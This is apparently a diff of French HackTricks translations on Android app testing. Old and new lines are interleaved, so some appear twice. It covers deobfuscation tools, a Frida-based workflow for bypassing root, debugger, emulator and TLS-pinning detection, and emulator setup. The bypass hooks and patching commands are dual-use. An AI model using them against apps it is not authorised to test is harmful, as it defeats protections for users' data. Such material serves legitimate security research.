From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** est un outil open source en ligne de commande qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et supprimer les instructions non utilisées. ProGuard est un logiciel libre et est distribué sous la GNU General Public License, version 2.
|
||||
|
||||
ProGuard est distribué dans le cadre de l'Android SDK et s'exécute lors de la compilation de l'application en mode release.
|
||||
ProGuard est distribué dans l'Android SDK et s'exécute lors de la construction de l'application en mode release.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Trouvez un guide pas à pas pour désobfusquer l'apk sur [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(From that guide) La dernière fois que nous avons vérifié, le mode d'opération de Dexguard était :
|
||||
(From that guide) Last time we checked, the Dexguard mode of operation was:
|
||||
|
||||
- charger une ressource en tant que InputStream ;
|
||||
- passer le résultat à une classe héritant de FilterInputStream pour la déchiffrer ;
|
||||
- effectuer une obfuscation inutile pour faire perdre quelques minutes à un reverseur ;
|
||||
- passer le résultat déchiffré à un ZipInputStream pour obtenir un fichier DEX ;
|
||||
- enfin charger le DEX résultant comme Resource en utilisant la méthode `loadDex`.
|
||||
- charger une ressource en tant qu'InputStream ;
|
||||
- fournir le résultat à une classe héritant de FilterInputStream pour le déchiffrer ;
|
||||
- effectuer une obfuscation inutile pour faire perdre quelques minutes à la personne effectuant le reverse engineering ;
|
||||
- fournir le résultat déchiffré à un ZipInputStream pour obtenir un fichier DEX ;
|
||||
- enfin charger le DEX obtenu comme Resource en utilisant la méthode `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard inverse le processus d'obfuscation réalisé par les outils d'obfuscation Android. Cela permet de réaliser de nombreuses analyses de sécurité, y compris l'inspection du code et l'identification des bibliothèques.**
|
||||
**DeGuard reversee le processus d'obfuscation effectué par les outils d'obfuscation Android. Cela permet de réaliser de nombreuses analyses de sécurité, y compris l'inspection du code et la prédiction des bibliothèques.**
|
||||
|
||||
Vous pouvez téléverser un APK obfusqué sur leur plateforme.
|
||||
|
||||
@ -795,15 +796,15 @@ This is a LLM tool to find any potential security vulnerabilities in android app
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
C'est un **déobfuscateur Android générique.** Simplify **exécute virtuellement une app** pour comprendre son comportement puis **essaie d'optimiser le code** afin qu'il se comporte de façon identique mais soit plus facile à comprendre pour un humain. Chaque type d'optimisation est simple et générique, donc peu importe le type spécifique d'obfuscation utilisé.
|
||||
It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD vous donne des informations sur **la façon dont un APK a été créé**. Il identifie de nombreux **compilateurs**, **packers**, **obfuscators**, et autres éléments étranges. C'est [_PEiD_](https://www.aldeid.com/wiki/PEiD) pour Android.
|
||||
APKiD vous donne des informations sur la façon dont un APK a été créé. Il identifie de nombreux compilers, packers, obfuscators et autres choses bizarres. C'est [_PEiD_](https://www.aldeid.com/wiki/PEiD) pour Android.
|
||||
|
||||
### Manual
|
||||
|
||||
[Lisez ce tutoriel pour apprendre quelques astuces sur **comment déobfusquer une obfuscation personnalisée**](manual-deobfuscation.md)
|
||||
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
@ -811,7 +812,7 @@ APKiD vous donne des informations sur **la façon dont un APK a été créé**.
|
||||
|
||||
AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate qui inclut une collection des derniers frameworks, tutoriels et labs provenant de différents passionnés et chercheurs en sécurité pour le reverse engineering et l'analyse de malware.
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) C'est une excellente liste de ressources
|
||||
@ -824,7 +825,7 @@ AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate
|
||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
|
||||
## Yet to try
|
||||
## À tester
|
||||
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cette page fournit un workflow pratique pour retrouver une analyse dynamique contre des apps Android qui détectent/empêchent l'instrumentation ou imposent le TLS pinning. Elle se concentre sur le triage rapide, les détections courantes et des hooks/tactiques copiables-collables pour les contourner sans repacking quand c'est possible.
|
||||
This page provides a practical workflow to regain dynamic analysis against Android apps that detect/root‑block instrumentation or enforce TLS pinning. It focuses on fast triage, common detections, and copy‑pasteable hooks/tactics to bypass them without repacking when possible.
|
||||
|
||||
## Detection Surface (what apps check)
|
||||
|
||||
- Vérifications de root : su binary, Magisk paths, getprop values, common root packages
|
||||
- Frida/debugger checks (Java) : Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scan de /proc, classpath, bibliothèques chargées
|
||||
- Vérifications de root : binaire su, chemins Magisk, valeurs getprop, packages root courants
|
||||
- Vérifications Frida/debugger (Java) : Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), analyse de /proc, classpath, bibliothèques chargées
|
||||
- Anti‑debug natif : ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
|
||||
- Vérifications d'initialisation précoce : Application.onCreate() ou hooks de démarrage de process qui plantent si l'instrumentation est présente
|
||||
- TLS pinning : custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
|
||||
- Vérifications d'initialisation précoce : Application.onCreate() ou hooks de démarrage de processus qui plantent si instrumentation est présente
|
||||
- TLS pinning : TrustManager/HostnameVerifier personnalisés, OkHttp CertificatePinner, Conscrypt pinning, pinning natifs
|
||||
|
||||
## Step 1 — Quick win: hide root with Magisk DenyList
|
||||
|
||||
@ -18,14 +18,14 @@ Cette page fournit un workflow pratique pour retrouver une analyse dynamique con
|
||||
- Enable DenyList, add the target package
|
||||
- Reboot and retest
|
||||
|
||||
Beaucoup d'apps ne regardent que des indicateurs évidents (su/Magisk paths/getprop). DenyList neutralise souvent les vérifications naïves.
|
||||
Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks.
|
||||
|
||||
References:
|
||||
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
|
||||
|
||||
## Step 2 — 30‑second Frida Codeshare tests
|
||||
|
||||
Essayez des scripts drop‑in courants avant d'approfondir :
|
||||
Try common drop‑in scripts before deep diving:
|
||||
|
||||
- anti-root-bypass.js
|
||||
- anti-frida-detection.js
|
||||
@ -35,7 +35,7 @@ Example:
|
||||
```bash
|
||||
frida -U -f com.example.app -l anti-frida-detection.js
|
||||
```
|
||||
Ces modules remplacent généralement les vérifications Java de root/debug, les scans de processus/services et l'appel natif ptrace(). Utiles sur des applications faiblement protégées ; les cibles durcies peuvent nécessiter des hooks sur mesure.
|
||||
Ils neutralisent généralement les vérifications Java de root/debug, les scans de processus/services et l'appel natif ptrace(). Utile sur des applications faiblement protégées ; les cibles durcies peuvent nécessiter des hooks sur mesure.
|
||||
|
||||
- Codeshare: https://codeshare.frida.re/
|
||||
|
||||
@ -54,31 +54,31 @@ use http_communications/multiple_unpinner
|
||||
use root_detection/universal_root_detection_bypass
|
||||
run com.target.app
|
||||
```
|
||||
Astuce : Medusa est great pour quick wins avant d'écrire des custom hooks. Vous pouvez aussi cherry-pick des modules et les combiner avec vos propres scripts.
|
||||
Tip: Medusa is great for quick wins before writing custom hooks. You can also cherry-pick modules and combine them with your own scripts.
|
||||
|
||||
## Étape 3 — Contourner les détecteurs au démarrage en s'attachant tardivement
|
||||
## Étape 3 — Contourner les détecteurs d'initialisation en s'attachant tard
|
||||
|
||||
De nombreuses détections ne s'exécutent que lors du process spawn/onCreate(). Spawn‑time injection (-f) ou gadgets sont détectés ; s'attacher après le chargement de l'UI peut permettre de passer.
|
||||
De nombreuses détections ne s'exécutent que lors du process spawn/onCreate(). Les Spawn‑time injection (-f) ou gadgets se font repérer ; en s'attachant après le chargement de l'UI, on peut les contourner.
|
||||
```bash
|
||||
# Launch the app normally (launcher/adb), wait for UI, then attach
|
||||
frida -U -n com.example.app
|
||||
# Or with Objection to attach to running process
|
||||
aobjection --gadget com.example.app explore # if using gadget
|
||||
```
|
||||
Si cela fonctionne, maintenez la session stable et procédez à la cartographie et aux vérifications de stubs.
|
||||
Si cela fonctionne, maintenez la session stable et procédez à la cartographie et aux vérifications des stubs.
|
||||
|
||||
## Étape 4 — Cartographier la logique de détection via Jadx et la recherche de chaînes
|
||||
## Étape 4 — Cartographier la logique de détection via Jadx et recherche de chaînes
|
||||
|
||||
Mots-clés de triage statique dans Jadx :
|
||||
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
|
||||
|
||||
Schémas Java typiques :
|
||||
Modèles Java typiques :
|
||||
```java
|
||||
public boolean isFridaDetected() {
|
||||
return getRunningServices().contains("frida");
|
||||
}
|
||||
```
|
||||
APIs courantes à examiner/hook:
|
||||
Common APIs to review/hook:
|
||||
- android.os.Debug.isDebuggerConnected
|
||||
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
|
||||
- java.lang.System.loadLibrary / System.load (native bridge)
|
||||
@ -87,7 +87,7 @@ APIs courantes à examiner/hook:
|
||||
|
||||
## Étape 5 — Runtime stubbing with Frida (Java)
|
||||
|
||||
Outrepasser les gardes personnalisés pour renvoyer des valeurs sûres sans repacking :
|
||||
Surchargez les guards personnalisés pour renvoyer des valeurs sûres sans repacking:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Checks = Java.use('com.example.security.Checks');
|
||||
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
|
||||
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
|
||||
});
|
||||
```
|
||||
Triage des plantages précoces ? Dump classes juste avant qu'il ne plante pour repérer les namespaces de détection probables :
|
||||
Triage des crashes précoces ? Dump classes juste avant qu'il ne plante pour repérer les namespaces de détection probables :
|
||||
```js
|
||||
Java.perform(() => {
|
||||
Java.enumerateLoadedClasses({
|
||||
@ -111,6 +111,7 @@ onComplete: () => console.log('Done')
|
||||
});
|
||||
});
|
||||
```
|
||||
```javascript
|
||||
// Quick root detection stub example (adapt to target package/class names)
|
||||
Java.perform(() => {
|
||||
try {
|
||||
@ -118,8 +119,9 @@ const RootChecker = Java.use('com.target.security.RootCheck');
|
||||
RootChecker.isDeviceRooted.implementation = function () { return false; };
|
||||
} catch (e) {}
|
||||
});
|
||||
```
|
||||
|
||||
Consignez et neutralisez les méthodes suspectes pour confirmer le flux d'exécution :
|
||||
Consigner et neutraliser les méthodes suspectes pour confirmer le flux d'exécution :
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Det = Java.use('com.example.security.DetectionManager');
|
||||
@ -131,7 +133,7 @@ return false;
|
||||
```
|
||||
## Bypass emulator/VM detection (Java stubs)
|
||||
|
||||
Heuristiques courantes : Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE contenant generic/goldfish/ranchu/sdk ; artefacts QEMU comme /dev/qemu_pipe, /dev/socket/qemud ; MAC par défaut 02:00:00:00:00:00 ; 10.0.2.x NAT ; absence de téléphonie/senseurs.
|
||||
Heuristiques courantes : Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE contenant generic/goldfish/ranchu/sdk ; artefacts QEMU comme /dev/qemu_pipe, /dev/socket/qemud ; MAC par défaut 02:00:00:00:00:00 ; NAT 10.0.2.x ; téléphonie/capteurs manquants.
|
||||
|
||||
Falsification rapide des champs Build :
|
||||
```js
|
||||
@ -166,27 +168,27 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
|
||||
});
|
||||
```
|
||||
Remarques
|
||||
- Étendez pour OkHttp : hook okhttp3.CertificatePinner et HostnameVerifier selon les besoins, ou utilisez un script universel d'unpinning depuis CodeShare.
|
||||
- Étendre pour OkHttp : hook okhttp3.CertificatePinner et HostnameVerifier si nécessaire, ou utiliser un script universel d'unpinning depuis CodeShare.
|
||||
- Exemple d'exécution : `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
|
||||
|
||||
## Étape 6 — Suivre la piste JNI/native lorsque les hooks Java échouent
|
||||
## Étape 6 — Suivre la piste JNI/native lorsque les Java hooks échouent
|
||||
|
||||
Tracez les points d'entrée JNI pour localiser les loaders natifs et l'initialisation de la détection :
|
||||
Tracer les points d'entrée JNI pour localiser les chargeurs natifs et l'initialisation de la détection :
|
||||
```bash
|
||||
frida-trace -n com.example.app -i "JNI_OnLoad"
|
||||
```
|
||||
Triage natif rapide des fichiers .so embarqués :
|
||||
Triage natif rapide des fichiers .so empaquetés :
|
||||
```bash
|
||||
# List exported symbols & JNI
|
||||
nm -D libfoo.so | head
|
||||
objdump -T libfoo.so | grep Java_
|
||||
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
|
||||
```
|
||||
Interactif/natif reversing:
|
||||
Reversing interactif/natif:
|
||||
- Ghidra: https://ghidra-sre.org/
|
||||
- r2frida: https://github.com/nowsecure/r2frida
|
||||
|
||||
Exemple: neutraliser ptrace pour contourner un simple anti‑debug dans libc:
|
||||
Exemple : neutraliser ptrace pour contourner un anti‑debug simple dans libc:
|
||||
```js
|
||||
const ptrace = Module.findExportByName(null, 'ptrace');
|
||||
if (ptrace) {
|
||||
@ -202,28 +204,28 @@ reversing-native-libraries.md
|
||||
|
||||
## Étape 7 — Objection patching (embed gadget / strip basics)
|
||||
|
||||
Si vous préférez le repacking aux runtime hooks, essayez :
|
||||
Si vous préférez repacking aux runtime hooks, essayez :
|
||||
```bash
|
||||
objection patchapk --source app.apk
|
||||
```
|
||||
Remarques:
|
||||
- Nécessite apktool ; assurez‑vous d'utiliser une version récente depuis le guide officiel pour éviter des problèmes de build : https://apktool.org/docs/install
|
||||
- Gadget injection permet l'instrumentation sans root mais peut néanmoins être détecté par des vérifications plus strictes à l'initialisation.
|
||||
Notes:
|
||||
- Nécessite apktool ; assurez‑vous d’avoir une version à jour depuis le guide officiel pour éviter des problèmes de build : https://apktool.org/docs/install
|
||||
- Gadget injection permet l'instrumentation sans root mais peut toujours être détecté par des vérifications plus strictes au démarrage.
|
||||
|
||||
Optionnellement, ajoutez des modules LSPosed et Shamiko pour renforcer la dissimulation du root dans les environnements Zygisk, et paramétrez le DenyList pour couvrir les processus enfants.
|
||||
En option, ajoutez des modules LSPosed et Shamiko pour un masquage du root plus efficace dans les environnements Zygisk, et soignez la DenyList pour couvrir les processus enfants.
|
||||
|
||||
Références:
|
||||
References:
|
||||
- Objection: https://github.com/sensepost/objection
|
||||
|
||||
## Étape 8 — Solution de repli : Patch TLS pinning pour la visibilité réseau
|
||||
## Étape 8 — Solution de repli : Corriger le TLS pinning pour la visibilité réseau
|
||||
|
||||
Si l'instrumentation est bloquée, vous pouvez toujours inspecter le trafic en supprimant le pinning de façon statique :
|
||||
Si l'instrumentation est bloquée, vous pouvez toujours inspecter le trafic en supprimant statiquement le pinning :
|
||||
```bash
|
||||
apk-mitm app.apk
|
||||
# Then install the patched APK and proxy via Burp/mitmproxy
|
||||
```
|
||||
- Outil: https://github.com/shroudedcode/apk-mitm
|
||||
- Pour les astuces CA‑trust de configuration réseau (et Android 7+ user CA trust), voir :
|
||||
- Pour les astuces de configuration réseau CA‑trust (et Android 7+ user CA trust), voir :
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
@ -251,14 +253,14 @@ objection --gadget com.example.app explore
|
||||
# Static TLS pinning removal
|
||||
apk-mitm app.apk
|
||||
```
|
||||
## Astuces & mises en garde
|
||||
## Conseils & mises en garde
|
||||
|
||||
- Préférez attaching late plutôt que spawning lorsque les apps plantent au lancement
|
||||
- Certaines détections se relancent dans les critical flows (ex., payment, auth) — gardez les hooks actifs pendant la navigation
|
||||
- Mixez static et dynamic : string hunt dans Jadx pour présélectionner des classes ; puis hook methods pour vérifier à runtime
|
||||
- Les apps hardenées peuvent utiliser des packers et du native TLS pinning — attendez‑vous à devoir reverse le native code
|
||||
- Privilégiez attaching late plutôt que spawning lorsque les apps plantent au lancement
|
||||
- Certaines detections re‑run dans des critical flows (par ex. payment, auth) — gardez les hooks actifs pendant la navigation
|
||||
- Mix static and dynamic : string hunt dans Jadx pour présélectionner des classes ; puis hook methods pour vérifier à runtime
|
||||
- Les apps hardenées peuvent utiliser des packers et native TLS pinning — attendez‑vous à reverse native code
|
||||
|
||||
## Références
|
||||
## References
|
||||
|
||||
- [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/)
|
||||
- [Frida Codeshare](https://codeshare.frida.re/)
|
||||
|
@ -1,4 +1,4 @@
|
||||
# AVD - Appareil virtuel Android
|
||||
# AVD - Android Virtual Device
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,14 +6,14 @@ Merci beaucoup à [**@offsecjay**](https://twitter.com/offsecjay) pour son aide
|
||||
|
||||
## Qu'est-ce que c'est
|
||||
|
||||
Android Studio permet d'**exécuter des machines virtuelles Android que vous pouvez utiliser pour tester des APKs**. Pour pouvoir les utiliser vous aurez besoin de :
|
||||
Android Studio permet d'**exécuter des machines virtuelles Android que vous pouvez utiliser pour tester des APK**. Pour les utiliser, vous aurez besoin de :
|
||||
|
||||
- Les **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
|
||||
- Ou **Android Studio** (avec Android SDK tools) - [Download here](https://developer.android.com/studio).
|
||||
|
||||
Sur Windows (dans mon cas) **après avoir installé Android Studio** j'avais les **SDK Tools installés dans**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
|
||||
Sous Windows (dans mon cas) **après avoir installé Android Studio** j'avais les **SDK Tools installés dans** : `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
|
||||
|
||||
Sur mac vous pouvez **télécharger les SDK tools** et les avoir dans le PATH en exécutant:
|
||||
Sur mac vous pouvez **download the SDK tools** et les avoir dans le PATH en exécutant :
|
||||
```bash
|
||||
brew tap homebrew/cask
|
||||
brew install --cask android-sdk
|
||||
@ -24,11 +24,11 @@ Pour les problèmes Java :
|
||||
```java
|
||||
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
||||
```
|
||||
## Interface graphique
|
||||
## Interface graphique (GUI)
|
||||
|
||||
### Préparer la machine virtuelle
|
||||
|
||||
Si vous avez installé Android Studio, ouvrez simplement la vue principale du projet et accédez à : _**Tools**_ --> _**AVD Manager.**_
|
||||
If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
|
||||
|
||||
<div align="center" data-full-width="false">
|
||||
|
||||
@ -36,25 +36,25 @@ Si vous avez installé Android Studio, ouvrez simplement la vue principale du pr
|
||||
|
||||
</div>
|
||||
|
||||
Ensuite, cliquez sur _**Create Virtual Device**_
|
||||
Then, click on _**Create Virtual Device**_
|
||||
|
||||
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
|
||||
|
||||
_**sélectionnez** le téléphone que vous voulez utiliser_ et cliquez sur _**Next.**_
|
||||
|
||||
> [!WARNING]
|
||||
> Si vous avez besoin d'un téléphone avec Play Store installé, sélectionnez-en un avec l'icône Play Store !
|
||||
> Si vous avez besoin d'un téléphone avec Play Store installé, sélectionnez-en un qui affiche l'icône Play Store !
|
||||
>
|
||||
> <img src="../../images/image (1144).png" alt="" data-size="original">
|
||||
|
||||
Dans cette vue, vous pourrez **sélectionner et télécharger l'image Android** que le téléphone va exécuter :
|
||||
Dans la vue actuelle, vous pourrez **sélectionner et télécharger l'image Android** que le téléphone va exécuter :
|
||||
|
||||
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Donc, sélectionnez-la et si elle n'est pas téléchargée cliquez sur le symbole _**Download**_ à côté du nom (**attendez maintenant que l'image soit téléchargée).**\
|
||||
Donc, sélectionnez-la et, si elle n'est pas téléchargée, cliquez sur le symbole _**Download**_ à côté du nom (**attendez maintenant que l'image soit téléchargée).**\
|
||||
Une fois l'image téléchargée, sélectionnez simplement **`Next`** et **`Finish`**.
|
||||
|
||||
La machine virtuelle sera créée. Maintenant **à chaque fois que vous ouvrirez AVD Manager elle sera présente**.
|
||||
La machine virtuelle sera créée. Désormais **à chaque fois que vous accéderez à AVD Manager elle sera présente**.
|
||||
|
||||
### Lancer la machine virtuelle
|
||||
|
||||
@ -65,9 +65,9 @@ Pour la **lancer**, appuyez simplement sur le _**Start button**_.
|
||||
## Outil en ligne de commande
|
||||
|
||||
> [!WARNING]
|
||||
> Pour macOS, vous pouvez trouver l'outil `avdmanager` dans `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users/<username>/Library/Android/sdk/emulator/emulator` si vous les avez installés.
|
||||
> Pour macOS vous pouvez trouver l'outil `avdmanager` dans `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users/<username>/Library/Android/sdk/emulator/emulator` si vous les avez installés.
|
||||
|
||||
Tout d'abord, vous devez **décider quel téléphone vous voulez utiliser**, pour afficher la liste des téléphones possibles exécutez:
|
||||
Tout d'abord, vous devez **décider quel téléphone vous voulez utiliser**, afin de voir la liste des téléphones possibles exécutez :
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
|
||||
|
||||
@ -95,12 +95,12 @@ Name: Nexus 10
|
||||
OEM : Google
|
||||
[...]
|
||||
```
|
||||
Une fois que vous avez choisi le nom de l'appareil que vous voulez utiliser, vous devez **déterminer quelle image Android vous souhaitez exécuter sur cet appareil.**\
|
||||
Vous pouvez lister toutes les options en utilisant `sdkmanager`:
|
||||
Une fois que vous avez décidé du nom de l'appareil que vous souhaitez utiliser, vous devez **choisir quelle image Android vous souhaitez exécuter sur cet appareil.**\
|
||||
Vous pouvez lister toutes les options en utilisant `sdkmanager` :
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
|
||||
```
|
||||
Et **téléchargez** celui (ou tous) que vous souhaitez utiliser avec :
|
||||
Et **téléchargez** celui (ou ceux) que vous souhaitez utiliser avec :
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
|
||||
```
|
||||
@ -120,12 +120,12 @@ Type: Platform
|
||||
API level: 29
|
||||
Revision: 4
|
||||
```
|
||||
À ce stade, vous avez choisi l'appareil que vous souhaitez utiliser et vous avez téléchargé l'image Android, donc **vous pouvez créer la machine virtuelle en utilisant** :
|
||||
À ce stade, vous avez choisi l'appareil que vous souhaitez utiliser et téléchargé l'image Android, donc **vous pouvez créer la machine virtuelle en utilisant**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
|
||||
```
|
||||
Dans la dernière commande **j'ai créé une VM nommée** "_AVD9_" en utilisant le **device** "_Nexus 5X_" et l'**image Android** "_system-images;android-28;google_apis;x86_64_".\
|
||||
Maintenant vous pouvez **lister les machines virtuelles** que vous avez créées avec :
|
||||
Dans la dernière commande **j'ai créé une VM nommée** "_AVD9_" en utilisant le **device** "_Nexus 5X_" et l'**Android image** "_system-images;android-28;google_apis;x86_64_".\
|
||||
Vous pouvez maintenant **lister les machines virtuelles** que vous avez créées avec :
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
|
||||
|
||||
@ -140,10 +140,10 @@ Name: Pixel_2_API_27
|
||||
Path: C:\Users\cpolo\.android\avd\Pixel_2_API_27_1.avd
|
||||
Error: Google pixel_2 no longer exists as a device
|
||||
```
|
||||
### Lancer la machine virtuelle
|
||||
### Exécuter une machine virtuelle
|
||||
|
||||
> [!WARNING]
|
||||
> Pour macOS vous pouvez trouver l'outil `avdmanager` dans `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users/<username>/Library/Android/sdk/emulator/emulator` si vous les avez installés.
|
||||
> Sur macOS, vous pouvez trouver l'outil `avdmanager` dans `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` et l'`emulator` dans `/Users/<username>/Library/Android/sdk/emulator/emulator` si vous les avez installés.
|
||||
|
||||
Nous avons déjà vu comment lister les machines virtuelles créées, mais **vous pouvez aussi les lister en utilisant**:
|
||||
```bash
|
||||
@ -160,9 +160,9 @@ Ou en utilisant des options plus avancées, vous pouvez exécuter une machine vi
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
### Options de ligne de commande
|
||||
### Options en ligne de commande
|
||||
|
||||
Cependant il existe **de nombreuses options utiles en ligne de commande** que vous pouvez utiliser pour lancer une machine virtuelle. Vous trouverez ci-dessous quelques options intéressantes mais vous pouvez [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
|
||||
Cependant il existe **beaucoup d'options utiles en ligne de commande** que vous pouvez utiliser pour lancer une machine virtuelle. Ci‑dessous vous trouverez quelques options intéressantes mais vous pouvez [**consulter la liste complète ici**](https://developer.android.com/studio/run/emulator-commandline)
|
||||
|
||||
**Démarrage**
|
||||
|
||||
@ -172,21 +172,21 @@ Cependant il existe **de nombreuses options utiles en ligne de commande** que vo
|
||||
**Réseau**
|
||||
|
||||
- `-dns-server 192.0.2.0, 192.0.2.255` : Permet d'indiquer, séparés par des virgules, les serveurs DNS pour la VM.
|
||||
- **`-http-proxy 192.168.1.12:8080`** : Permet d'indiquer un proxy HTTP à utiliser (très utile pour capturer le trafic avec Burp)
|
||||
- Si les paramètres du proxy ne fonctionnent pas pour une raison quelconque, essayez de les configurer en interne ou en utilisant une application comme "Super Proxy" ou "ProxyDroid".
|
||||
- `-netdelay 200` : Définit la latence réseau simulée en millisecondes.
|
||||
- `-port 5556` : Définit le numéro de port TCP utilisé pour la console et adb.
|
||||
- `-ports 5556,5559` : Définit les ports TCP utilisés pour la console et adb.
|
||||
- **`-tcpdump /path/dumpfile.cap`** : Capture tout le trafic dans un fichier
|
||||
- **`-http-proxy 192.168.1.12:8080`** : Permet d'indiquer un HTTP proxy à utiliser (très utile pour capturer le trafic avec Burp)
|
||||
- Si les paramètres de proxy ne fonctionnent pas pour une raison quelconque, essayez de les configurer en interne ou d'utiliser une application comme "Super Proxy" ou "ProxyDroid".
|
||||
- `-netdelay 200` : Configurer l'émulation de latence réseau en millisecondes.
|
||||
- `-port 5556` : Définir le numéro de port TCP utilisé pour la console et adb.
|
||||
- `-ports 5556,5559` : Définir les ports TCP utilisés pour la console et adb.
|
||||
- **`-tcpdump /path/dumpfile.cap`** : Capturer tout le trafic dans un fichier
|
||||
|
||||
**Système**
|
||||
|
||||
- `-selinux {disabled|permissive}` : Définit le module de sécurité Security-Enhanced Linux en mode disabled ou permissive sur un système Linux.
|
||||
- `-timezone Europe/Paris` : Définit le fuseau horaire pour le périphérique virtuel
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : Définit le mode d'écran tactile émulé.
|
||||
- **`-writable-system`** : Utilisez cette option pour disposer d'une image système en écriture durant votre session d'émulation. Vous devrez aussi exécuter `adb root; adb remount`. Ceci est très utile pour installer un nouveau certificat dans le système.
|
||||
- `-selinux {disabled|permissive}` : Définir le module de sécurité Security-Enhanced Linux en mode disabled ou permissive sur un système d'exploitation Linux.
|
||||
- `-timezone Europe/Paris` : Définir le fuseau horaire pour l'appareil virtuel
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : Définir le mode d'écran tactile émulé.
|
||||
- **`-writable-system`** : Utilisez cette option pour disposer d'une image système en écriture pendant votre session d'émulation. Vous devrez aussi exécuter `adb root; adb remount`. Très utile pour installer un nouveau certificat dans le système.
|
||||
|
||||
## Linux CLI setup (SDK/AVD quickstart)
|
||||
## Configuration CLI sous Linux (SDK/AVD démarrage rapide)
|
||||
|
||||
Les outils CLI officiels facilitent la création d'émulateurs rapides et débogables sans Android Studio.
|
||||
```bash
|
||||
@ -216,10 +216,10 @@ emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap
|
||||
adb root
|
||||
adb shell whoami # expect: root
|
||||
```
|
||||
Notes
|
||||
- Variantes d'images système: google_apis (déboggable, permet `adb root`), google_apis_playstore (non rootable), aosp/default (léger).
|
||||
- Types de build: userdebug permet souvent `adb root` sur les images compatibles debug. Les images Play Store sont des builds de production et bloquent l'accès root.
|
||||
